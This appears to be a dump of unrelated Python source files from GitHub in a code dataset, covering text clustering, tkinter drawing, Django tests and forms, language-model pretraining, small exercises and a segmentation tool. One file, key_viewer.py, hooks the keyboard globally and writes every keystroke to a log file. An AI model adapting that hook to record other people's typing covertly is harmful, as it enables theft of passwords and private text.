ClusterProcessor:\n def __init__(self, func: Distance, cut: float, p_cut: int) -> None:\n '''init clustering algorithm distance function'''\n self.func = func\n self.cut = cut # neighbor distance\n self.p_cut = p_cut # least expected neighbor number\n\n def analysis(self, page_vector: dict) -> list:\n '''cluster algorithm, return a map with cluster_id as key, list of title in this cluster as value'''\n logging.info(\"into Cluster analysis\")\n dis = {}\n p = {}\n '''calc dis, local density p'''\n for title_i in page_vector:\n table_i = page_vector[title_i]\n p[title_i] = 0\n dis[title_i] = {}\n for title_j in page_vector:\n if(title_i == title_j):\n continue\n table_j = page_vector[title_j]\n dij = self.func.calc(table_i, table_j)\n dis[title_i][title_j] = dij\n debug_file.write(\"{} and {} dis {}\\n\".format(title_i, title_j, dij))\n if(dij <= self.cut):\n p[title_i] += 1\n if(p[title_i] >= self.p_cut):\n print(\"{} p is {}\".format(title_i, p[title_i]))\n\n '''union cluster'''\n logging.info(\"into union cluster\")\n unionFindSet = UnionFindSet(page_vector.keys())\n island_pages = set()\n for title_i in page_vector:\n dis_table = dis[title_i]\n p_i = p[title_i]\n island = True\n for title_j in page_vector:\n if(title_i == title_j):\n continue\n if(p[title_j] >= self.p_cut and dis_table[title_j] <= self.cut):\n if(p_i >= self.p_cut):\n #合并簇\n unionFindSet.union(title_i, title_j)\n else:\n #标记非离群点\n island = False\n if(p_i < self.p_cut and island):\n island_pages.add(title_i)\n island_cnt = 0\n for title in island_pages:\n page_vector.pop(title)\n island_cnt += 1\n logging.info(\"clean island points, pop {} pages\".format(island_cnt))\n \n cluster_name = {}\n logging.info(\"into cluster find\")\n for title_i in page_vector:\n if(p[title_i] >= self.p_cut):\n cluster_name[title_i] = unionFindSet.find(title_i)\n continue\n dis_table = dis[title_i]\n cluster_dis = float(1e9)\n for title_j in page_vector:\n #weight point\n if(title_i == title_j or p[title_j] < self.p_cut):\n continue\n if(dis_table[title_j] < cluster_dis):\n cluster_dis = dis_table[title_j]\n cluster_name[title_i] = unionFindSet.find(title_j)\n\n logging.info(\"into cluster collect\")\n cluster_result = {}\n for title in page_vector:\n name = unionFindSet.find(cluster_name[title])\n if(name not in cluster_result):\n cluster_result[name] = []\n cluster_result[name].append(title)\n return cluster_result\n\n\nclass ClusterMain:\n def __init__(self, page_cnt: int, feature_num: int, df_min: int, df_max: int, processor: ClusterProcessor) -> None:\n nltk.download('punkt')\n nltk.download('stopwords')\n self.page_cnt = page_cnt\n self.feature_num = feature_num\n self.df_min = df_min\n self.df_max = df_max\n self.ps = PorterStemmer()\n self.stop_words = set(stopwords.words('english'))\n self.processor = processor\n\n def page_selector(self) -> list:\n '''select page from csv, return a list with [id, title, text] as item'''\n logging.info(\"into page selector\")\n stream = pandas.read_csv(\n \"../../data/wiki.csv\", sep='\\t', lineterminator='\\n')\n select = []\n cnt = 0\n for page in stream.values:\n cnt += 1\n select.append([page[0], page[2], page[3]])\n if(cnt >= self.page_cnt):\n break\n logging.info(\"selected pages number is \" + str(cnt))\n return select\n\n def feature_selector(self, pages: list) -> dict:\n '''feature selector by idf, return a map with feature as key, idf as value'''\n logging.info(\"into feature selector\")\n # word frequency by page\n df = {}\n for item in pages:\n page = item[2]\n table = {}\n sentences = nltk.tokenize.sent_tokenize(page, language=\"english\")\n for sentence in sentences:\n tokens = nltk.tokenize.word_tokenize(sentence)\n tokens = filter(lambda x: x not in self.stop_words, tokens)\n for item in tokens:\n '''stem analysis'''\n token = self.ps.stem(item)\n if(token not in table):\n table[token] = 1\n if(token not in df):\n df[token] = 0\n df[token] += 1\n feature = []\n for key in df:\n '''select small df to make big idf'''\n if(df[key] >= self.df_min and df[key] <= self.df_max):\n feature.append([key, df[key]])\n feature.sort(key=lambda x: x[1])\n if(len(feature) < self.feature_num):\n self.feature_num = len(feature)\n\n '''collect'''\n ret = {}\n for index in range(0, self.feature_num):\n item = feature[index]\n ret[item[0]] = math.log2(self.page_cnt/item[1])\n # debug_file.write(\"{} {} {}\\n\".format(item[0], item[1], ret[item[0]]))\n logging.info(\"selected feature number is \" + str(self.feature_num))\n return ret\n\n def vector_generator(self, pages: list) -> dict:\n '''generate page vector dict with title as key, vector table as item'''\n logging.info(\"into vector generator\")\n # word frequency by page\n ret = {}\n for item in pages:\n page = item[2]\n ''' tf idf generator '''\n table = {}\n sentences = nltk.tokenize.sent_tokenize(page, language=\"english\")\n for sentence in sentences:\n tokens = nltk.tokenize.word_tokenize(sentence)\n tokens = filter(lambda x: x not in self.stop_words, tokens)\n for token in tokens:\n '''stem analysis'''\n token = self.ps.stem(token)\n if(token not in self.features):\n continue\n if(token not in table):\n table[token] = 0\n ''' tf '''\n table[token] += 1\n debug_cnt = 0\n for token in table:\n ''' multi idf '''\n debug_cnt += 1\n # debug_file.write(\"item {} token {} df {} idf {}\\n\".format(item[1], token, table[token], table[token] * self.features[token]))\n table[token] *= self.features[token]\n ret[item[1]] = table\n return ret\n\n def run(self) -> list:\n '''main process stream, return analysis ans'''\n self.pages = self.page_selector()\n self.features = self.feature_selector(self.pages)\n self.page_vector = self.vector_generator(self.pages)\n return self.processor.analysis(self.page_vector)\n\n\ndebug_file = open(\"debug.txt\",\"w+\")\nlogging.basicConfig(level=logging.INFO,\n format=\"%(asctime)s - %(levelname)s - %(message)s\")\ntask = ClusterMain(page_cnt=2000,\n feature_num=3000, df_min=20, df_max=500, processor=ClusterProcessor(DistanceCos(), cut=0.6, p_cut=6))\n\n'''\n cut p_cut\n 0.6 6\n 0.6 5\n'''\n\ncluster_result = task.run()\nwith open(\"cluster_result.txt\",\"w+\") as f:\n cnt = 0\n for cluster_name in cluster_result:\n table = cluster_result[cluster_name]\n cnt += 1\n for title in table:\n f.write(\"cluster id\\t\" + str(cnt) + \"\\t\" + title + '\\n')\n","repo_name":"gzb1128/datacraw","sub_path":"wiki_cluster/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"3208281385","text":"from tkinter import *\r\n\r\nroot=Tk()\r\n\r\ncanvas_width = 400\r\ncanvas_height= 400\r\n\r\nroot.geometry(f\"{canvas_height}x{canvas_width}\")\r\ncan_width=Canvas(root,width=canvas_width,height=canvas_height)\r\ncan_width.pack()\r\n\r\n# the line goes from x1 y1 to x2 y2\r\ncan_width.create_line(0,000,400,400,fill=\"red\")\r\ncan_width.create_line(000,400,400,00,fill=\"red\")\r\n\r\n#to create rectangle specify parameter in this order = coors of the top left\r\ncan_width.create_rectangle(300,200 ,50,100,fill=\"blue\")\r\n\r\n#\r\ncan_width.create_text(200,300,text=\"python\")\r\n\r\n# create oval\r\ncan_width.create_oval(200,200,50,100,fill=\"green\")\r\n\r\nroot.mainloop()","repo_name":"coderanandmaurya/Tkinter","sub_path":"canvas.py","file_name":"canvas.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"16371207276","text":"from test_plus.test import TestCase\n\nfrom ..factories import FeatureFactory, FeatureOptionFactory\nfrom ..serializers import FeatureSerializer, FeatureOptionSerializer\nfrom ...generic.tests.test_views import GenericViewSetMixin, OrderingViewSetMixin\n\n\nclass FeatureViewSetTestCase(GenericViewSetMixin, OrderingViewSetMixin, TestCase):\n basename = \"feature\"\n serializer_class = FeatureSerializer\n factory_class = FeatureFactory\n ordering_fields = [\"-name\", \"min_options\", \"max_options,id\"]\n\n def validate_item(self, item):\n self.assertEqual(item[\"name\"], self.obj.name)\n\n def test_create_minimum(self):\n self.login_required()\n name = \"testowa-nazwa\"\n response = self.client.post(\n self.get_url(name=\"list\", **self.get_extra_kwargs()),\n data={\"name\": name},\n content_type=\"application/json\",\n )\n self.assertEqual(response.status_code, 201, response.json())\n item = response.json()\n self.assertEqual(item[\"name\"], name)\n\n def test_create_with_featureoptions(self):\n self.login_required()\n name = \"testowa-nazwa\"\n optionname = \"testowa-nazwa2\"\n response = self.client.post(\n self.get_url(name=\"list\", **self.get_extra_kwargs()),\n data={\"name\": name, \"featureoptions\": [{\"name\": optionname}]},\n content_type=\"application/json\",\n )\n self.assertEqual(response.status_code, 201, response.json())\n item = response.json()\n self.assertEqual(item[\"name\"], name)\n self.assertEqual(item[\"featureoptions\"][0][\"name\"], optionname)\n\n\nclass FeatureOptionViewSetTestCase(GenericViewSetMixin, TestCase):\n basename = \"feature-featureoption\"\n factory_class = FeatureOptionFactory\n serializer_class = FeatureOptionSerializer\n\n def get_extra_kwargs(self):\n return dict(feature_pk=self.obj.feature.pk)\n\n def validate_item(self, item):\n self.assertEqual(self.obj.name, item[\"name\"])\n\n def increase_list(self):\n self.factory_class.create_batch(feature=self.obj.feature, size=5)\n","repo_name":"gtktsc/small_eod","sub_path":"backend-project/small_eod/features/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"} +{"seq_id":"9579285514","text":"import time\nimport pyxhook\nimport launchpad\n\nlog_file = 'log.txt'\nLP = launchpad.Launchpad()\nmsg = \"\"\ndic = {\"Return\":\"\\\\n\",\n \"space\":\" \",\n \"Tab\":\"\\\\t\",\n \"period\":\".\",\n \"colon\":\":\",\n \"semicolon\":\";\",\n \"Shift_L\":\"\",\n \"exclam\":\"!\",\n \"BackSpace\":\"BS\",\n \"asciicircum\":\"^\",\n \"asciitilde\":\"~\",\n \"minus\":\"-\",\n \"equal\":\"=\",\n \"Escape\":\"ESC\",\n \"parenleft\":\"(\",\n \"parenright\":\")\",\n \"bracketleft\":\"[\",\n \"bracketright\":\"]\",\n \"braceleft\":\"{\",\n \"braceright\":\"}\",\n \"greater\":\">\",\n \"less\":\"<\",\n \"quotedbl\":\"\\\"\",\n \"underscore\":\"_\",\n \"question\":\"?\",\n \"comma\":\",\",\n \"numbersign\":\"#\",\n \"dollar\":\"$\",\n \"percent\":\"%\",\n \"ampersand\":\"&\",\n \"apostrophe\":\"'\",\n \"plus\":\"+\",\n \"Shift_R\":\"\",\n \"slash\":\"/\",\n \"backslash\":\"\\\\\",\n \"Control_L\":\"\"}\n\ndef kbevent(event):\n global msg\n\n log = open(log_file, 'a')\n if event.Key in dic:\n ch = dic[event.Key]\n else:\n ch = event.Key\n msg += ch\n log.write(ch + \"\\n\")\n\n # if event.Ascii == 94:\n # log.close()\n # hookman.cancel()\n\nhookman = pyxhook.HookManager()\nhookman.KeyDown = kbevent\nhookman.HookKeyboard()\nhookman.start()\n\nwhile True:\n if len(msg) > 0:\n LP.LedScrollText(msg, 72, speed=7)\n msg = \"\"\n raw = None\n while raw == None:\n raw = LP.ReadRaw()\n time.sleep(0.01)\n time.sleep(0.01)\n","repo_name":"nagitausu/mawarikomiya_on_launchpad","sub_path":"key_viewer.py","file_name":"key_viewer.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"11541199351","text":"#각 자리수 나눠서 더하기\n#나눠서 0인지 확인\n\ndef solution(x):\n number = list(str(x))\n new_x = 0\n for i in number:\n new_x += int(i)\n if ((x % new_x) == 0):\n return True\n else:\n return False\n\nprint(solution(13))\n\n#다른 사람 풀이\n\ndef Harshad(n):\n return n % sum([int(c) for c in str(n)]) == 0","repo_name":"drizzle0171/StudyPython","sub_path":"프로그래머스/프로그래머스_하샤드 수.py","file_name":"프로그래머스_하샤드 수.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"8517733451","text":"import os\n\nfrom pytorch_lightning.loggers import TensorBoardLogger\n\nfrom configuration import DATA_PATH\nfrom mtc_model import Seq2Seq, get_transformer\nfrom pytorch_lightning.callbacks import LearningRateMonitor\nimport torch\nfrom torch.nn.utils.rnn import pad_sequence\nimport datasets\nfrom ray.tune.integration.pytorch_lightning import TuneReportCallback\nfrom pytorch_lightning import Trainer\nfrom torch.utils.data import DataLoader\nimport predict\nimport numpy as np\n\nDATA_SZ = 100_000_000\n\np = dict(\n batch_size=128,\n hidden_size=768,\n num_layers=2,\n dropout=0.2,\n\n learning_rate=0.0005,\n warmup_learning_rate=1e-8,\n optimizer_patience=3,\n optimizer_warmup_steps=3,\n optimizer_factor=0.25,\n\n freeze_bert=False,\n teacher_forcing=1,\n split_layers=False,\n context_as_hidden=False,\n context_as_input=False,\n use_prev_token=False,\n use_positions=False,\n lm_pretrain=True,\n model='roberta-base'\n)\n\n_, tokenizer = get_transformer(p['model'])\np['output_size'] = len(tokenizer)\n\n\ndef parse_data():\n data: datasets.Dataset = datasets.concatenate_datasets(\n [datasets.load_from_disk(f'data/{dname}_sents_dataset/')['train'] for dname in ['books', 'wiki']])\n data.shuffle(seed=42).select(range(DATA_SZ)).save_to_disk('data/pretraining_data')\n\n\ndef pad_collate(batch, add_eos=True):\n lens = [len(tokenizer.tokenize(v['text'])) for v in batch]\n median = int(np.median(np.array(lens)))\n yy = [[tokenizer.bos_token_id,\n *tokenizer(v['text'], add_special_tokens=False, truncation=True, max_length=median)['input_ids']] for v in batch]\n if add_eos:\n yy = [[*y, tokenizer.eos_token_id] if len(y) <= median else [*y] for y in\n yy] # sentence ended, add eos, <= because median is computed without bos token\n y_lens = [len(y) for y in yy]\n yy_pad = pad_sequence(\n [torch.tensor(y, dtype=torch.long) for y in yy],\n batch_first=True,\n padding_value=0) # [batch_size, padded_y]\n return torch.zeros([len(batch), p['hidden_size']]), yy_pad, y_lens, None\n\n\ndef train(config=p, num_epochs=3, num_gpus=1, tune=False):\n config['epochs'] = num_epochs\n\n lr_monitor = LearningRateMonitor()\n callbacks = [lr_monitor]\n if tune:\n callbacks.extend([TuneReportCallback({\"loss\": \"val_loss\"}, on=\"validation_end\")])\n trainer = Trainer(\n logger=TensorBoardLogger(save_dir=os.getcwd(), version=2000, name='lm_pretrain_roberta'),\n gpus=num_gpus,\n max_epochs=num_epochs,\n val_check_interval=3000,\n gradient_clip_val=0.25,\n callbacks=callbacks\n )\n\n model = Seq2Seq(config)\n\n freeze_bert = config['freeze_bert']\n if freeze_bert:\n for name, param in model.decoder.embedding.named_parameters():\n param.requires_grad = False\n for name, param in model.decoder.linear.named_parameters():\n param.requires_grad = False\n\n input_features = datasets.load_from_disk(f'{DATA_PATH}/pretraining_data')\n input_features_train = input_features.select(range(99_900_000))\n input_features_val = input_features.select(range(99_900_000, 100_000_000))\n\n trainer.fit(model,\n DataLoader(input_features_train, config['batch_size'], num_workers=8, shuffle=True,\n collate_fn=lambda b: pad_collate(b, add_eos=True)\n ),\n val_dataloaders=DataLoader(input_features_val, config['batch_size'], num_workers=8,\n collate_fn=lambda b: pad_collate(b, add_eos=True)\n )\n )\n\n\ndef test_manual():\n while True:\n sent = input('write a sentence prefix: ')\n if sent == \"exit\":\n break\n res = predict.generate_lm(\"./lm_pretrain_roberta/epoch=0-step=779999.ckpt\",\n sent, num_layers=p['num_layers'], hidden_size=p['hidden_size'])\n print(\"The suggested completion is: \", \" \".join(res))\n\n\nif __name__ == '__main__':\n # parse_data()\n train(num_epochs=1)\n # test_manual()\n","repo_name":"amzn/amazon-multi-token-completion","sub_path":"lm_pretrain.py","file_name":"lm_pretrain.py","file_ext":"py","file_size_in_byte":4107,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"38035609166","text":"\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\n\n\nclass TestSeleniumDemo1():\n def setup_method(self):\n self.driver = webdriver.Chrome()\n self.driver.get(\"https://testerhome.com/\")\n self.driver.implicitly_wait(5)\n\n def test_seleniumdemo1(self):\n self.driver.find_element(By.CSS_SELECTOR,'[title=\"MTSC2020 中国互联网测试开发大会议题征集\"]').click()\n # 不明白怎么找到这个\n self.driver.find_element(By.CSS_SELECTOR,'.toc-container > .btn').click()\n # 选择父元素为 .toc-item:nth-child(4) 元素的所有 toc-item-link 元素。\n self.driver.find_element(By.CSS_SELECTOR,'.toc-item:nth-child(4) > .toc-item-link').click()\n\n def teardown_method(self):\n time.sleep(3)\n self.driver.quit()\n","repo_name":"huanghoujie18/hogwarts_TD","sub_path":"test_selenium/test_copy2.py","file_name":"test_copy2.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"25482748376","text":"'''Exercício 6: Faça um Programa que peça as quatro notas de 10 alunos, calcule e\narmazene num vetor a média de cada aluno, imprima o número de alunos com média\nmaior ou igual a 7.0.'''\n\ncount = 0\nnotas = []\n\nfor _ in range(10):\n media = 0\n for _ in range(4):\n nota = float(input('Digite uma nota:'))\n media += nota\n media = media/4\n notas.append(media)\n if (media >= 7.0):\n count += 1\n\nprint(f'Vetor com as notas dos alunos: {notas}')\nprint(f'Num de alunos que possuem média >= 7.0: {count}')\n","repo_name":"marianadick/ufsc-programacao-orientada-a-objetos-2","sub_path":"Segunda Lista/exercicio_6.py","file_name":"exercicio_6.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"36804331668","text":"#Write a program that reads two numbers M and N, and prints a Rectangle of M rows and N columns using the numbers from 1 as shown in the sample output.\n#1 1 1 1 \n#2 2 2 2 \n#3 3 3 3 \nrows = int(input())\ncolumns = int(input())\n\ncount = 1\nwhile count <= rows:\n print((str(count) + \" \") * columns)\n count += 1","repo_name":"bhagyarajkaviti/python_labs","sub_path":"assignment-7/rectangle-3.py","file_name":"rectangle-3.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"38066576505","text":"#Assignment 9.1 Derek Perry 08/01/2020\r\nimport os\r\nprint(\"What is name of the directory you want to save your file to?\")\r\ndirectory = input()\r\npath = (\"C:\\\\Users\\\\derek\\\\OneDrive\\\\Documents\\\\\" + directory)\r\nprint(\"What would you like to name the file?\")\r\nfile_name = input()\r\nif os.path.isdir(directory):\r\n print(\"The directory has been found!\")\r\nelse:\r\n os.mkdir(path, 777)\r\nprint(\"What is your name?\")\r\nuser_name = input()\r\nprint(\"What is your current address?\")\r\nuser_address = input()\r\nprint(\"What is your phone number?\")\r\nuser_number = input()\r\nuser_info = (user_name + \", \" + user_address + \", \" + user_number)\r\nwith open(file_name,'w') as file_write:\r\n file_write.write(user_info)\r\nwith open(file_name, 'r') as file_read:\r\n file_data = file_read.read()\r\nprint(file_data)\r\n","repo_name":"DerekPerry25/Assignment_9.1","sub_path":"Assignment 9 First Attempt.py","file_name":"Assignment 9 First Attempt.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"3826451513","text":"import random\n\n# why oop? brushing up on my oop skills in python \n# handles all the logic of the game\nclass Game:\n def __init__(self) -> None:\n self.round = 1\n self.winner = None\n self.game_over = False\n \n class player:\n def __init__(self,name) -> None:\n self.name = name\n self.move = None\n self.score = 0\n \n def won(self):\n self.score += 1\n \n def lost(self):\n self.score -= 1\n \n\n def make_move(self):\n return random.choice(['rock', 'paper', 'scissors'])\n\n\n def check_result(self, p1, p2) -> str:\n if p1.move == p2.move:\n return \"tie\"\n \n elif (p1.move == 'rock' and p2.move == 'paper') or \\\n (p1.move == 'paper' and p2.move == 'scissors') or \\\n (p1.move == 'scissors' and p2.move == 'rock'):\n\n p1.lost()\n p2.won()\n return \"You lose!\"\n \n \n else:\n p1.won()\n p2.lost()\n return \"You win!\"\n \n\n def play(self, player_name = None) -> None:\n \n print(\"{}\\nRound {}\".format('-'*35,self.round))\n \n choice = input(\"Please enter your move [Rock|Paper|Scissors]: \").lower()\n \n if choice not in ['rock', 'paper', 'scissors']:\n print(\"Invalid choice!\")\n return\n\n player = Game.player(\"You\") if player_name else Game.player(player_name)\n player.move = choice\n \n bot = Game.player(\"Bot 🤖\")\n bot.move = self.make_move()\n\n print(\"Bot 🤖: {}\".format(bot.move))\n \n result = self.check_result(player, bot)\n\n self.round += 1\n \n print(\">> Result: {}\".format(result))\n \n self.check_game_over(player, bot)\n \n if self.game_over:\n print('\\n{} wins!'.format(self.winner))\n return\n\n print(\"Your Score: {}\".format(player.score))\n\n\n def check_game_over(self, player, bot) -> None:\n if player.score < 0:\n self.winner = bot.name\n self.game_over = True\n \n elif player.score == 3:\n self.winner = player.name\n self.game_over = True\n elif bot.score == 3:\n self.winner = bot.name\n self.game_over = True\n\n \ndef main():\n game = Game()\n print(\"🪨 📄 ✂ Welcome to Rock, Paper, Scissors! 🪨 📄 ✂\")\n player_name = input(\"[!] Name: \")\n\n while not game.game_over:\n game.play( None if player_name == \"\" else player_name )\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"algo-ryth-nic/mlh-lhd-day-2-rps","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"17006929656","text":"def fnc_sort(file_str):\n edit_list = []\n # print(file_str)\n for i in range(len(file_str.split())):\n # print(file_str.split())\n # print(i)\n lett = ''\n for el in file_str.split()[i]:\n # print(file_str.split()[i])\n # print(el)\n if el.isdigit():\n lett += el\n # print(lett)\n else:\n break\n if lett.isdigit():\n edit_list.append(int(lett))\n # print(edit_list)\n return sum(edit_list)\n\n\nwith open('dz_06.txt', 'r') as f:\n line = f.readlines()\nprint(line)\nmy_dict = {el.split(':')[0]: fnc_sort(el.split(':')[1]) for el in line}\n\nprint(my_dict)","repo_name":"GoldGromofon91/GeekBrains","sub_path":"4. Основы языка Python/less_5/dz_06.py","file_name":"dz_06.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"29019398908","text":"from django import forms\nfrom polls.models import Post1\n\n\nclass HomeForm(forms.ModelForm):\n Answer_1 = forms.CharField(widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'i.e. John Doe...'\n }\n ))\n\t\n class Meta:\n model = Post1\n fields = ('Answer_1',)\n\t\t\n\t\t\nclass HomeForm2(forms.ModelForm):\n Answer_2 = forms.CharField(widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'i.e. Single user, department, etc...'\n }\n ))\n\t\n class Meta:\n model = Post1\n fields = ('Answer_2',)\n\t\t\n\t\t\n\t\t\nclass HomeForm3(forms.ModelForm):\n Answer_3 = forms.CharField(widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'i.e. We need a tool to monitor data sets...'\n }\n ))\n\t\n class Meta:\n model = Post1\n fields = ('Answer_3',)\n\t\t\n\t\t\t\t\t\t\n\t\t\t\t\nclass HomeForm4(forms.ModelForm):\n Answer_4 = forms.CharField(widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'i.e. Are they aware of the request...'\n }\n ))\n\t\n class Meta:\n model = Post1\n fields = ('Answer_4',)\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\nclass HomeForm5(forms.ModelForm):\n Answer_5 = forms.CharField(widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'i.e. Operations/Legal/Loyalty...'\n }\n ))\n\t\n class Meta:\n model = Post1\n fields = ('Answer_5',)\n\t\t\t\t\t\t\t\t\n\n\nclass HomeForm6(forms.ModelForm):\n Answer_6 = forms.CharField(widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'If yes, please provide a copy...'\n }\n ))\n\t\n class Meta:\n model = Post1\n fields = ('Answer_6',)\n\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\nclass HomeForm7(forms.ModelForm):\n Answer_7 = forms.CharField(widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'Does use require a local software installation as well?'\n }\n ))\n\t\n class Meta:\n model = Post1\n fields = ('Answer_7',)\n\t\t\n\t\t\t\t\n\nclass HomeForm8(forms.ModelForm):\n Answer_8 = forms.CharField(widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'i.e. IT Procurement'\n }\n ))\n\t\n class Meta:\n model = Post1\n fields = ('Answer_8',)\n\t\t\n\t\t\n\nclass HomeForm9(forms.ModelForm):\n Answer_9 = forms.CharField(widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'PII, PFJ proprietary, PCI, etc.'\n }\n ))\n\t\n class Meta:\n model = Post1\n fields = ('Answer_9',)\n\t\t\n\t\t\n\nclass HomeForm10(forms.ModelForm):\n Answer_10 = forms.CharField(widget=forms.TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'i.e. Github, Jira, SalesForce, etc...'\n }\n ))\n\t\n class Meta:\n model = Post1\n fields = ('Answer_10',)\n\t\t\n\t\t\t\t\t\t\t\t\t\t\t","repo_name":"Sorsnce/blue-team","sub_path":"Django/Service-Catalog/SaaSRequests/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"68"} +{"seq_id":"30899160149","text":"# -*- coding: utf-8 -*\r\nfrom mmdet.apis import init_detector, inference_detector\r\nimport mmcv\r\nimport time\r\nimport PIL.Image\r\nimport imgviz\r\nfrom shutil import copyfile\r\nfrom pycococreatortools import *\r\nimport base64\r\nimport json\r\nfrom Config import *\r\n\r\n\r\nclass Network:\r\n def __init__(self):\r\n self.model = init_detector(config_file, checkpoint_file, device='cuda:0')\r\n\r\n def segmentation(self, image_path):\r\n results = inference_detector(self.model, image_path)\r\n return results\r\n\r\n\r\ndef main(i, result, class_name_to_id, score_thr, sort_by_density=True):\r\n img_pil = PIL.Image.open(unlab_img_path + i)\r\n img = np.array(img_pil)\r\n w, h = img_pil.size\r\n\r\n if not result or result == [None]:\r\n return\r\n cur_result = result[0]\r\n # tensor to numpy\r\n seg_label = cur_result[0]\r\n seg_label = seg_label.cpu().numpy().astype(np.uint8)\r\n cate_label = cur_result[1].cpu().numpy()\r\n score = cur_result[2].cpu().numpy()\r\n # Filter based on threshold\r\n vis_inds = score > score_thr\r\n seg_label = seg_label[vis_inds]\r\n cate_label = cate_label[vis_inds]\r\n cate_score = score[vis_inds]\r\n # Number of instances\r\n num_mask = seg_label.shape[0]\r\n # Draw examples with larger areas first and then smaller areas later\r\n if sort_by_density:\r\n mask_density = []\r\n for idx in range(num_mask):\r\n cur_mask = seg_label[idx, :, :]\r\n cur_mask = mmcv.imresize(cur_mask, (w, h))\r\n cur_mask = (cur_mask > 0.5).astype(np.int32)\r\n mask_density.append(cur_mask.sum())\r\n orders = np.argsort(mask_density)\r\n seg_label = seg_label[orders]\r\n cate_label = cate_label[orders]\r\n cate_score = cate_score[orders]\r\n\r\n # Obtain masks based on the test results\r\n if num_mask > 0:\r\n # Save each instance detection graph and count the number of clicks per instance\r\n masks, shapes, cls_confs = get_masks(seg_label, num_mask, cate_label, cate_score, w, h, class_name_to_id, img)\r\n # Save each instance information to txt\r\n al_txt(cls_confs)\r\n vis_save(img, masks, class_name_to_id, base)\r\n if shapes:\r\n img_data = img2str(os.path.join(unlab_img_path + i))\r\n save_json(shapes, w, h, img_data)\r\n else:\r\n print(\"img:{} have no object, so no json is generated!\".format(os.path.basename(i)))\r\n\r\n\r\ndef get_masks(seg_label, num_mask, cate_label, cate_score, w, h, class_name_to_id, img):\r\n ins_num = 1\r\n new_shapes = []\r\n det_label = {}\r\n masks = {}\r\n person_ID = 0\r\n rider_ID = 0\r\n car_ID = 0\r\n truck_ID = 0\r\n bus_ID = 0\r\n train_ID = 0\r\n motorcycle_ID = 0\r\n bicycle_ID = 0\r\n ID_dict = {}\r\n cls_confs = []\r\n for idx in range(num_mask):\r\n idx = -(idx + 1)\r\n cur_mask = seg_label[idx, :, :]\r\n cur_mask = mmcv.imresize(cur_mask, (w, h))\r\n cur_mask = (cur_mask > 0.5).astype(np.uint8)\r\n if cur_mask.sum() == 0:\r\n continue\r\n cur_mask_bool = cur_mask.astype(np.bool)\r\n cur_cate = cate_label[idx]\r\n cur_score = cate_score[idx]\r\n label = \"\".join([k for k, v in class_name_to_id.items() if v == cur_cate + 1])\r\n\r\n instance = (label, int(cur_score * 100))\r\n masks[instance] = cur_mask_bool\r\n\r\n if every_ins_viz:\r\n masks_ins = {instance: cur_mask_bool}\r\n vis_ins_save(img, masks_ins, class_name_to_id, base, ins_num, label)\r\n ins_num += 1\r\n if generate_json:\r\n no_occlu_flag = obj_occluded(cur_mask, (w, h))\r\n if no_occlu_flag:\r\n new_shapes, cls_confs = generate_points_no_occlu(cur_mask, (w, h), label, new_shapes, cur_score, cls_confs)\r\n else:\r\n new_shapes, det_label, person_ID, rider_ID, car_ID, truck_ID, bus_ID, train_ID, motorcycle_ID, bicycle_ID, ID_dict, cls_confs = generate_points(\r\n cur_mask, (w, h), label, new_shapes, idx, det_label, person_ID, rider_ID, car_ID, truck_ID, bus_ID, train_ID, motorcycle_ID, bicycle_ID, ID_dict, cur_score, cls_confs)\r\n\r\n return masks, new_shapes, cls_confs\r\n\r\n\r\ndef vis_ins_save(img, masks_ins, class_name_to_id, base, ins_num, label):\r\n viz = img\r\n if masks_ins:\r\n labels, captions, masks = zip(\r\n *[\r\n (class_name_to_id[cnm], cnm + str(\":\") + str(score), msk)\r\n for (cnm, score), msk in masks_ins.items()\r\n if cnm in class_name_to_id\r\n ]\r\n 